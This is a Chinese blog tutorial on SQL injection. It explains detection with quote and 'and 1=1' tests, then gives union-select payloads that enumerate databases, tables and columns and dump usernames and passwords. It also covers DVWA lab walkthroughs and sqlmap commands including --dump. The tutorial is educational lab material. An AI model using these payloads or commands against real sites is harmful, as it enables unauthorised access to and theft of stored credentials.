sql注入漏洞详解

一.sql注入漏洞

1.原理

当我们访问动态网站时,web服务器会向数据访问层发起sql查询请求,如果权限验证通过就会执行sql语句(这种网站内部发起的sql语句一版没有危险,但很多情况下要结合用户输入数据动态构造sql语句,如果用户输入恶意的sql代码,web又不对动态数据进行审查,则会有意想不到的危险)

2.危害

(1)拆解后台数据库,这是最常用的,看可以获取敏感信息

(2)绕过认证,可以绕过网站登录到后台

(3)注入可以借助数据库的储存过程进行提权操作

(4)网站挂马,传播恶意软件

(5)服务器被远程控制,开后门

3.SQL基础实战

(1)判断注入点

   通常情况下存在SQL注入漏洞的是类似这种形式Https://xxx.xxx.xxx/abcd.php?id = xx;

(2)判断是否存在SQL注入

   最简单的单引号判断法:在URL后面加上单引号,如果页面返回错误则存在SQL注入

(3)判断SQL注入的类型

  数字型

  一般的格式为 select * from <表名> where id = x

  这种可以用经典的 and 1 = 1 和 and 1 = 2 来判断

  select * from <表名> where id = x  and 1 = 1; 页面正常

  select * from <表名> where id = x and  1 = 2;页面运行错误,说明存在SQL注入 

  字符型(数字型的不能用来判断字符型)

  一般的格式为 select * from <表名> where id = ’x‘

  这种可以用经典的 1‘ and ’1‘ = ’1 和 1’ and ‘1’ = ‘2 来判断

  select * from <表名> where id = ‘x’  and ’1‘ = ’1’; 页面正常

  select * from <表名> where id = ‘x’ and  ‘1’ = ‘2‘;页面运行错误,说明存在SQL注入 

  还有其他的字符型就不一一介绍了(例如双引号字符型,单引号加小括号字符型,双引号加小括    号字符型)

(4)爆破步骤

  ?id = 1 order by 3 #(查看有几个字段)

  ?id = -1 union select 1,2,3 #(查看那几个位显示)

  ?id = -1 union select 1,database(),version()#(查看数据库名和版本)

  ?id = -1 union select 1,2,group_concat(table_name) from information_schema.tables where        table_schema = "database()"#

  (爆破表名,因为MySQL所有的表名都储存在information_schema.tables这里)

  ?id = -1 union select 1,2,group_concat(column_name) from information_schema.columns      where  table_name = "表名"#(爆字段名)

  ?id = -1 union select 1,2,group_concat(password,username) from 表名#

  (爆数据库用户和密码)    

(5)分类

  按注入分类 :字符型和数字型

  按请求方式分类 :get注入,post注入,Cookie注入,http header注入

  按是否有回显 : 显注,盲注

(6)注入手法类型

  联合注入,布尔盲注,报错注入,延时盲注,宽字节与二次注入,Cookie注入,http header注入(各种类型不做详解,后续可能会做) 

二.dvwa靶场练习

【Low】级别

首先判断是否存在SQL注入,当输入1时,回显正常,可以判断存在sql注入。

接下来判断SQL注入是什么类型的

输入1 and 1 = 1 

在输入1 and 1 = 2

发现都没有报错说明不是数字型的,是字符型的

再来试试单引号1’ and ‘1’ = ‘1

而1’ and ‘1’ = ‘2

没有返回,所以是单引号注入类型

之后就可以用order by 确定字段个数

再用union select 1,2,3.....(几个字段数就写几个,为的是确定显示位)

之后就是联合注入的模板(注:爆破出来的密码都是用MD5加密了的,可以在网上找到解码工具)

漏洞原因:没有进行预编译;用户数据拼接了代码,没有实现代码、数据分离;没有进行敏感字符过滤。

【Medium】级别

这个级别就是只有选项了,所以我们需要使用BP来进行抓包,改包,重放(没学过的请自行跳过)

先来判断数字型(方法同上)

发现是数字型,接下来就是同Low级别一样了,判断显示位,爆数据库,爆表名,爆字段,最后爆数据库的账户和密码

【High】级别

同medium

(我写的都是SQL Injection,SQL Injection (Blind)并没有写,因为太麻烦一般都会采用sqlmap自动化注入)

三.sqlmap自动化注入

sqlmap在kali操作系统里有下载无需再下载了

想在windows里安装sqlmap,首先要安装python,因为windows的sqlmap根据python来运行的

(注:重点sqlmap支支持python2.7及其以下的版本,python3.几的会出错误,尤其是电脑里     2,3都有的在环境配置那里一定要把python2的路径放在python3上面)

基础命令

1.判断网址是否有SQL注入漏洞(如果是多个网址双引号必须加)

sqlmap -u "⽹址"

结束以后会得到该⽹站的数据库,操作系统,服务器等版本信息,注入的方式等


 

2.如果存在漏洞可以使用以下命令注出当前网站下所有数据库名

sqlmap -u "⽹址" --dbs

3.注出指定数据库下的所有表名

sqlmap -u "⽹址" -D 数据库名 --tables

4.注出指定数据库指定表下所有列信息

sqlmap -u "⽹址" -D 数据库名 -T 表名 --columns

5.注出所有指定列数据

sqlmap -u "⽹址" -D 数据库名 -T 表名 -C 列名 --dump

6.在任意环节使用--dumps,可以将所有数据注出,如指定数据库使用,注出所有数据库下的所有表的所有字段信息
--batch命令可以自动跳过选择项,按默认选项注入

进阶命令

四。sqli-labs-master靶场练习(sqlmap)

1.level1-10

直接上模板

	sqlmap -u "url"
	sqlmap -u "url" --dbs
	sqlmap -u "url" -D 数据库名 -T 表名 --columns
	sqlmap -u "url" -D 数据库名 -T 表名 -C 列名 --dump

五.sql注入绕过

  • 8
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Smile灬凉城666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值